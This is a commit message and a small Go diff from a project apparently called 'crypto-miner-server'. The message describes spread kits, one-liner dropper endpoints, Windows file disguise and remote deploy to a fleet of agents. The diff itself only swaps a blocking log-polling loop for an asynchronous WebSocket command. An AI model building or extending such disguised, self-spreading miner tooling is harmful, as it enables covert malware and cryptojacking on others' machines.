Add universal forge, fusion disguise, remote deploy, and stability fixes.

Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.

server/internal/api/fleet_handler.go

@@ -4,7 +4,6 @@ import (
 	"encoding/json"
 	"net/http"
 	"strconv"
-	"time"
 
 	"crypto-miner-server/internal/alerts"
 	"crypto-miner-server/internal/db"
@@ -70,14 +69,10 @@ func (f *FleetHandler) GetAgentLog(w http.ResponseWriter, r *http.Request) {
 	}
 	content := f.ws.GetAgentLog(id)
 	if r.URL.Query().Get("refresh") == "1" {
+		// Fire the get_log command and return immediately — the response arrives
+		// via the WebSocket command_result broadcast (fixes M18: no more 1.8s block).
+		// The dashboard will receive the log content via the commandResults queue.
 		_ = f.ws.SendAgentCommand(id, "get_log", map[string]interface{}{"tail_lines": 300})
-		for i := 0; i < 12; i++ {
-			time.Sleep(150 * time.Millisecond)
-			if c := f.ws.GetAgentLog(id); c != "" {
-				content = c
-				break
-			}
-		}
 	}
 	writeJSON(w, map[string]interface{}{
 		"agent_id": id,